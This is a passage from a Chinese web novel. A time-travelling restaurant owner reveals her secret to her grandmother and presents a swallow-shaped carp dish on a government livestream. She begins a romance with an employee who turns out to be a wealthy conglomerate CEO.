“我确实不是穿过来的，至于我为什么有那些记忆……是梦境告诉我的。” “梦境？” “对，几个月前，我开始频繁做一些关于古代的梦，里面就有你。” “原来是这样……”聊到这，庄凝冬的情绪低了下去，起初那种他乡遇故知的激动已经消失殆尽。 这种情绪转变太过明显，傅修霁看着，不禁叹了口气，“知道我不是他，有这么难过？” “不是……” 庄凝冬不知道怎么形容这种心情，主要还是落差感太大。 不过不管怎么说，傅修霁也是这个世界里唯一一个知道她秘密的人，也不算孤独。 傅修霁想到她刚刚说的“从别人身体里醒过来”，换了个话题：“那你这具身体里，是住着两个人？” “不是，”说起这个，庄凝冬还是有点难过的，“原主不在了。” “不在了？” “对，我来的时候曾在一片虚空里看到过她，她那会儿的情况就不好了，交代了我一些事后就……” 庄凝冬垂眸：“我当时也没搞懂是什么情况，后面也想不明白为什么会发生这样的事情，我就经常在想，如果不是我，她是不是就——” 傅修霁：“那庄奶奶知道这件事了吗？” “还没呢，”庄凝冬叹了口气，“我都不知道要怎么开口，而且这种事也说不清，说出来也没人会信吧。” 庄凝冬顿了顿，正想再说点什么的时候，旁边传来一点声响，两人看过去—— 是奶奶。 庄凝冬脸色一变，愣在了原地，一时不知道作何反应。 她不知道她听到了多少，又信了多少。 短暂的寂静过后，庄凝冬艰难地打了声招呼：“奶奶，你怎么来了？” 奶奶脸色苍白，脚步有些虚浮，踉踉跄跄的站不稳，庄凝冬快步过去搀扶住。 “我、我刚跟你陈婆婆在外面逛完呢，想着过来店铺这边看看的。” “那您……” “我都听见了。” 傅修霁自然而然地上前替庄凝冬说话：“奶奶，凝冬她……” 庄凝冬张了张嘴，下意识道：“对不起。” 除了穿越这件事确实有点说不清外，其实庄凝冬最怕的是奶奶知道她真正的孙女已经不在了的事实。 如果知道自己不是她的孙女。 应该会怪罪她吧，如果不是她，或许她的孙女就不会…… 那先前存在的温情或许就不存在了。 庄凝冬不安地站在一旁等候着谩骂，谁知想象中关于悲愤的发泄并没有到来，而是—— “你道什么歉啊傻孩子。” 庄凝冬一时间没反应过来，便听见奶奶继续道：“其实我早就感觉到你们不是同一个人了。” 早到，从第一天开始，她就看出差别了。 毕竟这两人相差太大了，从性格到生活习惯，都有一条很分明的分界线，明显是截然不同的两个人。 那可是她的亲孙女啊，怎么可能认不出来呢。 也因为这差别，心中曾有过疑惑，有过极其不好的猜想。 但是，不管先前做过了多少思想准备，等真到了知道真相这天，依旧没法做到坦然面对。 那是属于身体本能带出来的、下意识的反应。 奶奶在庄凝冬的搀扶下，坐在椅子上缓了好一会儿，才渐渐回神。 “只是没想到，她真的随老头子去了。” “如果不是我，或许她就不会……”庄凝冬的声音放低。 显然，对霸占了原主身体这件事，庄凝冬也一直心存愧疚。 奶奶却不这么想。 她轻轻地拍了拍庄凝冬的手，带了安抚意味：“你总想着是不是因为你来了，所以她才会走，那你有没有想过，或许是因为她不在了，所以你才会来呢？” 庄凝冬怔怔地听着，没想到奶奶会这样安慰她。 “这样看来，我还要感谢老天呢，派了你来照顾我，没有让我一个人孤零零地留在这个世界。” 派了你来照顾我…… 庄凝冬眼眶渐渐泛酸。 先前因为占据了别人身体这个事，庄凝冬面对奶奶对她好，一直觉得不太踏实，总是觉得那不是给她的。 到了这一刻，她的心才稳稳落地。 明明奶奶才是失去亲人的那一个，庄凝冬也不好意思让她来安慰自己，不过她也不知道此时此刻聊什么才好。 总怕不小心戳到奶奶的伤心事。 于是，她便选择了什么也不说，就这样静静地陪着她。 后面还是奶奶问起她见过原主的事，庄凝冬才缓缓开口娓娓道来。 傅修霁见她们说开了便也没再逗留，回后厨干活去了。 “倒是辛苦你了。” 活到了这个年纪，又目睹了亲人离世，其实奶奶已经将凡事都看得很开了，对事物的接受度也变强。 奶奶低声道：“你刚来的时候，一个人一定很害怕很不适应吧。” 庄凝冬小声道：“其实还好……” “没事，不管怎样，以后都有奶奶在。” 庄凝冬心头一动，点点头应了声：“好。” * 晚上，那道即将要拿去跟省政府那边合作的菜被端上了餐桌。 盖子打开的时候，餐桌前的人眼睛都看直了，几乎都露出了同样震惊的神情。 一条鲤鱼，被划了不少花刀，然后被摆成燕子的形状，炸至定型，鱼头高高昂起，似展翅而飞。 旁边还有一个用挂面碎制作而成的鸟巢，上面搁着几个鹌鹑蛋。 画面、意境都有了。 完完全全就是一份精美的艺术品。 刘华荣：“我这一趟真没白来！庄老板实在带给我太多惊喜了。” “这花刀，真的太强了，我都不知道要学多久，才能把鲤鱼处理成这样。”江映槐双手托腮，崇拜又羡慕。 江老爷子：“别急，爷爷一定会多钓点鱼回来让你练习的。” “……那倒也不必，我觉得我也不是非学不可。” 众人笑起来。 陆向安对着那道菜拍了好几张照片，他大致过了下图，满意之后终于拿起筷子，准备开动，然而他发现根本没人动那道菜。 “……”陆向安等了一会儿，终于忍不住开口：“我知道这道菜很好看，但它终究只是一道菜，让我们一起把它吃掉好吗？” “……” 庄凝冬做了领头人，夹了一块到奶奶的碗里后，想给自己夹一块的，却发现有筷子伸了过来。 一块沾满糖醋汁的鲜嫩鱼肉被搁在碗里。 庄凝冬抬眼，撞进来傅修霁眼里。 她还没来得及说什么，又一双筷子伸了过来。 江映槐：“师父，吃我夹的！我夹的那块比较大！” 庄凝冬：“……” 旁边的傅老爷子轻咳了声，仿佛在暗示什么，可惜一旁的傅修霁听不懂，最后他只好既生气又灰溜溜地自己夹。 燕子状的鲤鱼被淋上了浓稠的糖醋汁，入口酸酸甜甜的，裹满淀粉又炸过的鱼肉表面酥香脆口，里头却又嫩又充满了鱼肉香，香得不行。 这道新菜在餐桌上成了最先光盘的一碟，于是，跟政府那边合作的菜也就这么定下了。 陆向安运营着官博，匹配省政府那边，在直播前就不停预热，所以在直播开始当天，直播间就涌入了一大批庄记的顾客。 [出息了，我的宝藏小饭馆都和省合作了，呜呜呜呜与有荣焉。] [嘿嘿我看到直播环节有做菜这一步骤哎，是不是能看到老婆了？啊啊啊激动！] [老婆什么时候才能出来啊等不及了！] 这次的直播是为了弘扬美食文化，除了邀请了庄凝冬以外，省政府那边还邀请了其他美食届的大拿，根据出场顺序，庄凝冬排在第三。 开头是主持人在走流程，官方地介绍着这次活动，随后开始请出席这次活动的人员出场。 当庄凝冬那张清丽的脸蛋出现在镜头前时，弹幕刷得飞起—— [啊啊啊啊老婆好久不见又美了！] [又是羡慕溪城人的一天，就算去庄记排队买不上饭，见一见老板也是好的啊！] [你怎么知道我每天都去庄记只为了看老板一眼？] 这次活动，需要到其他市参加，走的时候，原本庄凝冬只想一个人去的，但傅修霁用了各种理由硬是跟着她来了。 现在，庄凝冬人在前面直播，傅修霁则在后台等着。 他看不到前台的情况，只能拿手机出来看。 他面无表情地看着那些弹幕，把喊老婆的弹幕都点了举报。 前方，根据活动环节，每位被邀请到现场的嘉宾都需要在镜头前做一道菜。 为了节省时间，几位嘉宾被安排在一起做菜，不过现场空间足够大，提供的锅碗瓢盘也足够多，他们一起做也互不影响。 尽管各自提前沟通好自己所需要的食材，但为了看起来大气点，官方还准备了许多用不上的食材。 这个环节，只有主持人在说话，偶尔主持人也会过去跟几位嘉宾互动，无非询问做菜的细节和注意事项之类的话。 庄凝冬拿着刀，神情细致认真，仔细地给鲤鱼去鳞，剔骨，划刀。 [谁说只有男人在工作的时候才是最魅力的，明明女人也一样，啊啊啊啊老婆我想当你的狗！] [如果我成为了砧板上的那条鲤鱼，你是不是就能看我一眼？如果是这样的话，那我愿意～] [……不至于不至于。] [这是要做什么菜啊？鲤鱼，寓意年年有余吗？] [大家快看，那条鲤鱼被裹上淀粉。] [何止，还被摆成了一个奇奇怪怪的形状呢。] [什么奇奇怪怪，那是燕子！] 接下来，庄凝冬把摆好形状的鲤鱼放到漏勺上，待锅里的油达到一定温度后，她拿着勺子慢慢放进油里。 油温不算高，只是冒出了一点小泡。 通过油炸，可以更好地定型。庄凝冬一手拿着漏勺，另一只手拿着勺子舀了油上来，从上往下，淋到没鲤鱼上。 一遍又一遍，非常耐心。 炸好鱼之后，其实这个菜已经差不多完成了。 庄凝冬又捏碎挂面炸了个鸟巢，把几颗蒸好的鹌鹑蛋摆上去，菜式的模样已经完全出来了。 现在还有最后一步。 庄凝冬把调好的橘色酱汁淋到鲤鱼上。 这一步在摄影师的运镜下，显得格外可口。 鲜亮可口的浓郁酱汁缓慢流下，一点一点覆盖在焦黄的鲤鱼身上，似是能通过屏幕闻到那浓稠的酸味。 根本不敢想象有多好吃！ 主持人：“哇！大家都知道一份普普通通的菜经过艺术的加工和精致的摆盘之后会变得十分高级，但当亲眼目睹完这样一份菜品的形成过程后，我都震撼到说不出话了。” 主持人：“在此之前，我是从来没想过一条鲤鱼还能做出一只燕子的形状，不知道这样精美的一份菜叫什么名字，又包含了怎样的寓意呢，让我们请庄小姐来回答一下吧。” 话筒递到嘴边。 庄凝冬思绪却飘远。 最开始设计这道菜的时候，她还身处大燕朝，那时候的大燕朝一片热闹繁华，而且又是举国同庆的节点。 所以除了希望年年有余以外，庄凝冬还想办法让这道菜跟国号“大燕”扯上了点关系，便设计成了燕子的形状。 不过现在时代变了…… 庄凝冬很快回神，她朝镜头笑了下，温声道：“这道菜叫‘燕归巢’，燕归巢又寓意着出门在外的游子喜归故里，我就稍稍再延伸一下别的含义吧，嗯……希望我们不管身处何方，都能做到不忘初心，砥砺前行。” …… 回溪城的途中，旁边的傅修霁一直在看这一段的直播回放。 在他拉着进度条，即将回归开头播放第五遍的时候，庄凝冬没忍住，伸手过去暂停了。 傅修霁歪头疑惑。 庄凝冬：“你还要看几遍？” “看看也不行？” 看着他一直看自己的片段，庄凝冬觉得有点羞耻：“有什么好看的？” 傅修霁若有所思：“我只是在想一件事情。” “什么？” 下一秒，傅修霁侧过身来，定定地看着庄凝冬，声线清润，莫名带了点蛊惑的意味—— “我看他们都叫你老婆，我也能叫你老婆吗？” “……” 我、看、他、们、都、叫、你、老、婆，我、也、能、叫、你、老、婆、吗？ 傅修霁声音落下的那一刻，庄凝冬人都傻了。 反应过来他说了什么之后，庄凝冬脸蛋都要红炸了。 他在说什么啊…… 为什么他能脸不红心不跳且那么正经地问出这种问题啊？！ 他又不是从大燕朝来的，不可能不知道这个称呼是什么意思。 就算是从大燕朝来的，在这个时代待过，也不可能不懂。 明明她都明白。 庄凝冬红着脸别开头：“不可以！” 傅修霁嘴角勾着，似乎觉得有意思：“为什么？” “……” “别人都可以这样叫，我为什么不可以？” “……” “是我不如别人吗？” “……” “你又不是不知道——”庄凝冬实在说不出那两个字，换了个说法，“那两个字是什么意思，你还问。” 傅修霁抬了下眉：“嗯？哪两个字？” “……” 明显故意的。 庄凝冬不想理他了。 傅修霁低笑一声：“我知道就不能叫了？” “……” 庄凝冬还是没理他。 不过这并不影响傅修霁自说自话。 在傅修霁的视野里，只能看到她倔强的后脑勺，还有红透了的耳朵。 傅修霁意味深长地“哦”了声，“我知道，还缺了点仪式是吧。” 庄凝冬心脏不可避免地往下塌了点，她眼睫轻颤，对于他接下来的话似乎有了点预感。 旁边响起轻微的窸窣声，旁边的人似乎靠近了点。 庄凝冬屏住呼吸，听见他轻声道—— “你真以为我是来拜师的？” 庄凝冬的心脏重重地塌了下去。 她猛然回头，才发现此时此刻两人的距离近的可怕。 “什……什么？” 庄凝冬喃喃，不动声色地拉开了点距离，在重重的心跳声中，她听见傅修霁继续道： “在你的观念里，师徒可以当夫妻不？” “……” 庄凝冬觉得自己的心跳快要跳出嗓子眼了。 她深吸口气：“不可以。” 是真的不可以。 没办法，以往的观念在她这里已经根深蒂固了。 一日为师终身为父。 特别是，她自己就有师父，如果在自己里，师徒做了夫妻，会让她想到自己师父。 总觉得怪怪的。 也接受不了。 “哦，那我就不拜了吧。” “……” 话都说到了这份上，庄凝冬不可能不明白他是什么意思。 不过她对此不但不会感受到烦恼，反而还有点高兴和期待。 * 跟省政府那边合作直播之后，庄凝冬带着她的那道菜以及庄记又上了一次热搜。 带来的效应就是——越来越多人知道了庄记，就连来溪城的人也越来越多了。 据其他人说，以前节假日都没什么人来溪城的，现在就连平常周六日的票都售罄了。 而那道“燕归巢”，也成了镇店之宝。 但凡来这里吃饭的人，都会点上一份。 就连万宁的一些豪门圈子里的权贵看到之后都非常感兴趣，平日闲聊的话题里也多了庄记—— “你们听说那家店了吗？我有个朋友先前去X省办事，在饭桌上被一道菜惊艳到了，后来一问才知道那是溪城一家饭馆的老板亲自做的。” “你说的是那道‘燕归巢’是吧，我之前在热搜看到过，感觉就只有一个外形好看，真的好吃么？” “据我那个朋友所说，在那顿饭上，桌子的转盘转得飞起，一个个夹克穿得格外得体的人为了那一口，是一点形象都不顾了，那道菜也是最早光盘的呢。” “别说，最近这个‘燕归巢’是真火啊，不少媒体都在蹭这波热度疯狂模仿，就连百味楼都复刻了一份一样的菜式。” “既然百味楼有，那咱们去百味楼吃啊。” “诶，别急啊，你真以为复刻是那么简单的？我朋友去吃过了，他说，百味楼那个徒有其表，跟他在X省吃到的那份差远了。” “连百味楼都没法复刻那是有多好吃，咱们找个时间去趟溪城呗。” …… 就这样，连一个有钱有权的人都去了溪城。 他们去了之后才发现，嘿，这不就是傅老先前发在朋友圈的那家饭馆么？ 吃过之后更是无比后悔。 他们怎么到现在才来？！ 之前应该早点来的。 这样一传十十传百，都来了庄记，百味楼那边的人自然就少了。 百味楼终于反应过来不应该故步自封，高层人员紧急开会，采取方案措施补救—— 想把当年的主厨请回来。 收到百味楼高层来电时，刘华荣人正忙得脚不沾地。 手机响了好几次后，他实在烦了，才出后院接了电话： “什么？请我回百味楼工作？不了，我现在在庄记颠着锅呢。” 百味楼工作人员：“？” …… 这段时间，到店里的人多了不少，需求一下子变大，庄凝冬为了尽量满足他们的需求，也因为招人的事情忙个不停。 至于傅修霁，可能是因为之前说了那番话，他在接下来的表现更殷勤了。 丝毫不加掩饰。 江映槐实在看不下去，又上前重复说着以前就说过的话：“你是不是对我师父图谋不轨？” 以往的傅修霁还会掩饰一下，就算没有否认也不会搭理。 但现在，他是装都不装了：“是又怎样？” 嚣张！ 太嚣张了！ 江映槐被他的不要脸惊到，转头去找庄凝冬打小报告，谁知听她说完以后，庄凝冬的耳垂不动声色地红了。 至此，江映槐是真的觉得天塌了。 “师父，你，你不会喜欢上他了吧？” 喜欢么，也不奇怪。 他们之间的缘分，其实远不止在这个世界的短短几个月。 不过抛开这些来看。 傅修霁不仅长得好看，能力也出色，慢慢相处下来，喜欢也不奇怪吧？ “很惊讶吗？” “……” 江映槐欲言又止，痛心得不行。 她内心经历过一番小挣扎之后，终于还是接受了这个事实。 师父的喜好她又不能干涉。 要怪只能怪那个男的，诡计花招实在太多了。 见在庄凝冬这里没法再说什么，江映槐只好去找男方的事。 “我警告你，你要是敢对我师父不好，我就——”江映槐几乎从来没有拿自己的背景压过人，这是第一次，“我有的是法子让你混不下去。” 闻言，傅修霁轻嗤了声，不知是在嘲笑什么。 不过他终究没说什么，只道：“用你说。” “……” 对此，陆向安就看得很开：“早跟你说了，想开点，你看，跟我一起近距离嗑cp不好吗？” “……” 江映槐翻了个白眼，不想理他。 * 这段时间庄记的生意火爆了许多，并且完全没有降温的迹象，庄凝冬在日复一日的忙碌中，终于发现一个弊端—— 排队方式太麻烦。 她看其他比较大的饭店，顾客都能在小程序排队，并能通过手机及时收到排队的实时消息。 庄凝冬想了想，觉得自己也可以效仿这种方式。 这就需要招聘一个程序员了。 庄凝冬在招聘网站和自己的朋友圈也发了需求，原本傅修霁说这件事交给他的，但是庄想着反正需求也发了，干脆就自己来了。 而且需求才发出去不久，微信列表就有人来联系了。 有生面孔，也有熟面孔—— 高新言。 高新言说他有个朋友是这方面的专家，也是从万宁大学毕业的，从以前到现在，包揽了各大软件比赛的奖项，设计一个小程序不在话下。 原本庄凝冬还在纠结，这样一个人才来替她设计小程序会不会太大材小用了，但高新言说他们过两天刚好要回溪城一趟，便约着见一见了。 见面地点自然是在庄记，吃饭见面谈话都方便的不行。 明明短短一年不到，跟上一次前来的时候对比，庄记已经发生了翻天覆地的变化。 高新言笑着吹捧了一番，在庄凝冬的带领下，跟他的朋友落座。 不远处的傅修霁注意着这边的举动。 来自男性的第六感告诉他，这个男的绝对图谋不轨。 看着那边言笑晏晏的氛围，傅修霁后悔了。 他就不该听她的话，应该直接联系其他专业人员的。 不然，轮得到那个臭男人上门献殷勤？ 傅修霁在一角站了许久，随后，他去了趟小张的花店。 跟高新言朋友谈合作的过程很顺利，一顿饭的时间就已经确定好了所有。 分别的时候，庄凝冬去送他们。 高新言落后他朋友几步，好几次看向庄凝冬欲言又止，似乎想单独跟她说几句话。 “凝冬，我能不能……” 在他刚开口说了几个字的时候，旁边一道清晰的男声插。了进来—— “老板。” 两人齐齐看过去。 来人身高腿长，虽然穿着饭店同一的工作服，但行为间仍有无法遮挡的矜贵感。 庄凝冬眼睫一动：“怎么了？” 傅修霁站到庄凝冬面前，状似无意地隔开了高新言的视线：“刘师傅找你。” “什么事？” “不知道。” “很急吗？” “十万火急。” “那——”庄凝冬的视线艰难地越过傅修霁身后，看了眼高新言。 高新言正要说话，傅修霁又道：“我帮你送客。” 高新言见状，也不好意再说什么，跟庄凝冬道了个别：“那你先去忙吧，下次再见。” 等庄凝冬走后，只剩下傅修霁和高新言两人。 高新言对面前的男人无感，不过表面礼貌还是需要做到位的。 高新言正打算跟他敷衍两句就走，谁知道，话还没来及说出口，那男人转身就离开了。 这……这是送客态度？ 那头庄凝冬回到后厨，找到刘师傅：“刘师傅你找我有什么事？” 刘师傅颠了下勺，闻言一脸迷惑：“什么？我没找你啊。” “啊？可是……” 庄凝冬正准备问问傅修霁，然后就看见他人从外面进来了。 他走过来，二话不说把庄凝冬扯到了后院没什么人的一角。 “有事想问问你。”傅修霁似乎等不及了。 傅修霁看着很正经，以为他要说什么正事，庄凝冬也跟着正色起来：“什么事？” “你觉得我这些天的表现怎么样？” “就这？”庄凝冬愣了愣，莫名松了口气：“我还以为怎么了呢。” “回答我。” “挺好的呀，怎么了？” 傅修霁跟变戏法似的不知道从哪里变出来了一束花：“那我能当你男朋友了吗？” 猝不及防。 庄凝冬差点被自己的口水呛到。 “啊？” “你不是说我的表现挺好的吗？”傅修霁放轻声音，带了点蛊惑的意味：“那有没有好到能当你男朋友？” “……” 庄凝冬还没习惯这么直白的话，她毕竟在古代待了那么久，还是比较习惯含蓄的那套表达。 所以就算她对傅修霁是有那个意思，短时间内也无法直接回答可以。 这沉默的模样落到傅修霁眼里似乎成了拒绝的意思。 他顿了顿，眉眼和声音都低了下去，听起来很失落：“我知道了，一定是我表现得还不够好，所以才让你这么纠结。” 庄凝冬一听，忙说：“……我没有。” “没关系，都是我自己的问题，如果我能再厉害点，像你刚刚那个朋友一样，事事都能替你分忧，也许我就能当你男朋友了吧。” 嗯？？跟高新言又有什么关系？ 庄凝冬听着觉得怪怪的。 找人帮忙做小程序这事傅修霁原本也是要帮忙的，他有这个能力。 她也不是嫌他不够厉害的意思。 庄凝冬看着他垂头丧气的模样，只觉得他拿着的那束花也跟着枯萎了。 她不太忍心看到这幅画面，便道：“我没有不同意……” 傅修霁在一瞬间抬头：“那就是同意的意思？” “……” 庄凝冬红着脸，没再说话。 “你没拒绝，那我就当你同意了。” 傅修霁勾了勾唇，全然没有刚刚那副霜打茄子的模样，心情很好地把花递到了庄凝冬手里：“今天事发突然，花肯定没有一大早空运过来的鲜艳了，等明天再给你补一束新鲜的。” “其实也很好看。” “我觉得你值得更好的。” 庄凝冬低低地“哦”了声，明显察觉到自己心跳声更重了。 两人在后院待了没多久，庄凝冬便要回去了。 傅修霁原本跟着她一块走的，在即将拐弯的时候，他扯着庄凝冬停了脚步。 庄凝冬疑惑回头。 傅修霁在她额上落下了一个吻：“日后多多指教。” “女朋友。” （正文完） 番外 第91章 第91章 番外 庄凝冬和傅修霁谈恋爱的消息没有隐瞒，甚至很快就传遍了大街小巷。 以前的顾客来庄记一是为了吃饭，二是为了一睹饭馆老板芳容，后来，听说店里来了个超级大帅哥，于是，他们有了第三个目的：看一眼那个超级大帅哥。 然而现在—— 只为了嗑一下cp。 街坊邻里都是看着庄凝冬长大的，知道她谈恋爱以后自然都为她高兴。 不过姜还是老的辣。 考虑的现实因素比较多。 他们对傅修霁本人能力不太了解，只能从外形条件入手。 皮囊倒是可以。 跟庄家丫头站一起，郎才女貌的，倒也般配。 只不过这家庭条件嘛，就…… 听说他家里有好几口人，就靠他一个人养活呢。 这要是能力过得去，是一家公司的老板什么的那还好说。 可关键就是，他现在只是庄记里的一名普通员工。 还得靠庄家丫头发工资呢。 这他们以后要真结婚了，四舍五入不就相当于庄家丫头养着他们一家几口嘛？ 跟吃软饭的凤凰男小白脸有什么区别？！ 想想都替庄家丫头不值啊！ 于是有邻里街坊找到庄奶奶，旁敲侧击打听庄凝冬到底有多喜欢那个男的。 要是感情不深，还能及时止损。 也同样隐晦地暗示过：这个男的不太行。 有人更是直白，说傅修霁不如头一次开劳斯莱斯来的那个男人—— 也就是江老的孙子：江承泽。 这些话隐隐约约地传到傅修霁的耳朵时，庄凝冬还在忙着开分店的事。 由于庄记的知名度越传越广，有不少顾客都喊着要她到别的地方开分店。 这里的店铺有刘师傅和季初曼镇守，庄凝冬想着自己也有精力去开分店了，便也开始着手开分店的事了。 午休时间，休息室里，只有他们两人。 庄凝冬正挑选着要开分店的城市，她问身旁的人：“你觉得分店开在哪里最好啊？我觉得都有利有弊，好难选择啊。” 傅修霁敷衍：“都开。” “……”庄凝冬一噎：“你真以为说开就开，不用钱啊？” 傅修霁不说话了，再开口，是为别的事：“我听到很多人说我配不上你。” “谁啊？” “他们说我没钱。” “……” “说我没本事，只会吃软饭。” “……” “还说，江老的孙子和你更配。” “……” 他的嗓音淡淡的，明明听起来是隐含着委屈的，像在告状，但说最后一句话的时候，带了点凉意。 “那我能怎么办？” 出身的问题确实身不由己，庄凝冬在心底无声地叹了口气。 就像她以前，家境也很不好。 但她觉得那并不重要。 重要的是为人。 长久相处下来，其实能发现傅修霁的能力是很强的，也不知道外面的人是怎么传成他一点本事也没有的样子。 庄凝冬伸手摸了摸他的头发：“这不是你的问题，也不用管他们的话，你要是在意，我有空就去一个个跟他们讲，跟他们解释。” 傅修霁沉默着，庄凝冬也不知道听进去了没，她想了想，还是主动凑过去亲了他一下。 傅修霁这才回过神来，他的眼神意味深长，竟然还有这种好事？ 不过，只是碰一下算什么哄。 “我受伤的心灵需要更深的抚慰。” 傅修霁说完，按着庄凝冬的后脑勺又亲了回去。 …… 在刚刚沉默的时间里，其实傅修霁在想，是时候找个时间坦白了。 ——那我能怎么办？ ——只好切大号了。 * 开分店的精力是有了，但是钱还没有。 江老得知以后，立马就说要投资一大笔钱。 不过投资这事比较正规，不是说自己从银行卡里转一笔钱，或者弄一张支票就能解决的。 需要江氏那边出手，走正规的投资流程。 江老那头刚联系完自己的孙子，转头看到傅老那么淡定的模样，忍不住问：“这你不打算投资伸伸援手？好歹是你未来孙媳妇。” 傅老从鼻子里哼出冷冷的调子：“还要我出手？！是我娶媳妇还是他娶媳妇？！” “……” * 一个安静的早上被陆向安的一大声“卧槽”打破，窗外的鸟都纷纷被惊飞。 刚拎着包子进来的江映槐也被吓了一跳。 “陆向安你一大早的发什么疯啊？！没睡醒是吧？” 陆向安喃喃：“我可能真的没睡醒……要不你扇我一巴掌？” “……犯什么病？” “你快来过来看，我是不是眼花了，傅安集团竟然给我们发了邮件，说要洽谈投资合作事宜！”陆向安说，“傅安集团啊！！你听说过傅安集团吗？！是万宁那个傅安集团！其创立到现在不止有百余年历史，所涉及的板块多得不行，大到航空、医疗，小到零食、衣服……这么吊的一个集团！现在！居然！要跟咱们合作了！” “……” “这说明什么！” “说明什么……” “说明咱们店铺潜力巨大！未来可期！” “……” 江映槐依旧是庄凝冬的脑残粉：“那也是我师父管理得好。” “……” 陆向安几乎一秒也等不及，马上就去找庄凝冬说了这件事。 “真的？！”庄凝冬也很惊讶。 正是需要钱的时候，没想到就有人来投资了。 “我验证过了，是真的。” 事不宜迟，庄凝冬立马跟傅安那边的工作人员进行了联系。 双方很快就确定了见面时间。 需要庄凝冬去一趟万宁。 傅修霁作为陪同跟着一起去了一趟万宁。 不过在去傅安集团那天，傅修霁突然身体不适，庄凝冬不想他来回奔波，便让他待在酒店里了。 到了傅安集团，秘书领着庄凝冬上楼。 傅安集团位于万宁市中心，高高的一栋的大厦，直入云霄，连坐电梯都得坐好久才到顶层。 这段时间里，秘书和庄凝冬心思各异。 林光透过电梯的镜子不动声色地看了庄凝冬好几次。 什么乙方，这明明就是总裁夫人！ 没想到傅总这个对什么都提不起兴趣的人，有这么一天也会对女人感兴趣。 而庄凝冬则有点紧张。 前面跟那边人员对接的时候，对方有说过会由傅总跟她来谈这个合作项目。 她还挺疑惑的。 就她这一家小小的饭馆，也需要傅总亲自出面吗？ 对方身份太尊贵，合作过的都是行业佼佼者，希望自己等会儿能表现得好一点吧。 可别还没谈几句就黄了…… “叮——” 电梯到了顶层，庄凝冬被带进了一间三面落地窗的办公室。 光线亮堂，风格简约。 一张黑胡桃木办公桌前，黑色的办公椅背对着门口，看不见人。 秘书：“傅总，庄记的人来了。” 那张椅子背后传来一道淡淡的男声： “嗯。” 秘书退下，偌大的空间里只剩他们两个人。 庄凝冬听着那道声音，觉得有点熟悉。 可单凭这一个字，她也没法确定是不是。 “傅总您好，我是庄记的老板我叫——”庄凝冬一板一正地自我介绍着，前方的办公椅突然转了过来。 一张熟悉得不能再熟悉的脸出现在了视野里。 那个原本该在酒店待着的却莫名在这里出现的人叹了口气：“喊傅总也太生疏了。” 庄凝冬突然就卡壳了。 “傅修霁？！”庄凝冬瞪大眼睛：“你不是在酒店待着吗？为什么会在这出现？” 问完，庄凝冬才意识到，傅安的傅和傅修霁的傅，是同一个字。 庄凝冬：“你……” “抱歉，我不是故意要用隐瞒身份的。”傅修霁起身，给庄凝冬倒了杯水，随后拉着她走到自己的办公椅上摁着她坐下。 “我要是一开始就坦白身份，你应该不会让我留下，但我当时被梦境困扰，是一定要留下的。” 庄凝冬坐下来，喝了一杯水，慢慢也接受了眼前这个事实。 她问：“那傅爷爷……” “是我亲爷爷。” “那傅迎月和傅运霖……” “是我亲妹妹和亲弟弟。” “可他们说你……”庄凝冬想到傅迎月之前哭过的惨。 “他们故意搞我呢，”傅修霁故作伤心，“难道在你心里，我是他们说的那种人吗？” “这样。” 对于这件事，庄凝冬倒没有被欺骗的生气，看到他们感情关系好到可以随便开玩笑的地步，庄凝冬反而松了口气。 由于傅安集团的总裁就是傅修霁，所以这次的合作谈得格外顺利，不过庄凝冬也因此感到了些许的挫败。 “如果我们不认识，不是男女朋友，你是不是就不会投资了？” “说的什么话？”傅修霁掐了下她的脸：“庄记的发展前景很好，很有潜力，我现在不抓紧机会投资，是等着以后跟一堆人竞争吗？” “虽然他们肯定争不过我。” 傅修霁的话渐渐流露出了点目中无人。 但以他如今的身份地位，确实难免狂妄。 庄凝冬有被安慰到，心情好了不少。 谈完合作，庄凝冬和傅修霁正要离开傅安大楼。 结果才站起身，办公室的门就被打开，还没来得及看清来人的样貌，庄凝冬就听见了一道中气十足的男声—— “傅修霁你个逆子！你还知道回来工作？！” “谁告诉你我回来工作的？”傅修霁心安理得道：“我马上又要走了，集团就辛苦你了，爸。” 傅父一口气差点没提上来，他定眼看了看，才发现办公室里还有别的人。 还是个年轻女人。 重点是，他那个不孝子还牵着人家的手。 傅父：“？” 这应该就是他的未来儿媳了。 庄凝冬还沉浸在他们父子的相处模式里，回过神来后礼貌地喊了一声：“伯父好。” “你好你好。” 第一次跟未来儿媳见面就有失形象，傅父觉得有点尴尬。 他只好怪那个不孝子，走过去小声道：“你怎么不早说你办公室里还有别人？” 傅修霁轻轻扯了下嘴角，“怎么？楼里那些闲出屁的人没跟你说？” “……” 傅父确实是听到其他工作人员细小的谈话声说傅总今天回来了，才火急火燎过来的。 “但你回来你不说一声？你妈她——”今天刚去溪城找你。 傅父话还没说完，傅修霁就打断他：“我妈她不天天在玩吗？哪有时间管我。” 傅修霁没再跟他废话，拉起庄凝冬就往外走：“走了。” “伯父再见。”庄凝冬回过头来，小声问：“就这样走掉真的好吗？” “没事。” “好吧。” 有了资金，庄凝冬开始着手开分店的其他事，第一家分店的选址定在了万宁。 因为溪城和万宁之间来回太麻烦，庄凝冬干脆在万宁这边定好分店的事再回去。 在他们俩还在万宁忙活的时候，刚到溪城、并从傅老口中得知他们俩去了万宁的傅母人都傻了。 原本庄凝冬是打算等万宁这边开分店的事完全尘埃落定以后再回一趟溪城的。 但是傅修霁不太乐意。 因为他晚回去一天，那群邻里街坊就要劝分一天。 万一奶奶被洗脑了，真觉得他不够好怎么办？ 某人醋醋的：“再晚点回去，说不定他们连你的新男友都帮你物色好了。” “……” 庄凝冬憋笑：“好吧，那明天回去一趟吧。” 先前傅老让人修的停机坪已经修好了，傅修霁叫人提前申请了航线，他们回去的时候，是坐的私人飞机。 飞机降落的一瞬，不少溪城人好奇地涌了过来，待看清从飞机上下来的人后，他们傻眼了。 这，这不是庄记那个老板、还有她的男朋友吗？ 庄记饭馆里，傅修霁因为隐瞒身份这事礼貌且抱歉地对庄奶奶道了个歉。 现场沉默得要死，只要他那把清润的嗓音在说话。 这种沉默里，沉默也沉默得心思各异。 江老是因为早就知道了他的身份，所以不意外，傅老则是没眼看，懒得管，而陆向安，是因为激动到了极点反而维持着一种诡异的平静。 至于江映槐，她莫名想起之前某天，她用自己的家庭背景威胁傅修霁，说他要是对师父不好就让他待不下去。 “……” 现在看来，谁让谁待不下去一目了然。 哈哈，他爸的，总算知道那天傅修霁莫名的嘲讽是什么意思了。 真是丢大脸了。 江映槐在心里苦笑，既尴尬又生气。 他就这么看着她当小丑！！！ 傅修霁坦白身份以后，邻里街坊那些闲言碎语果然消失得一干二净。 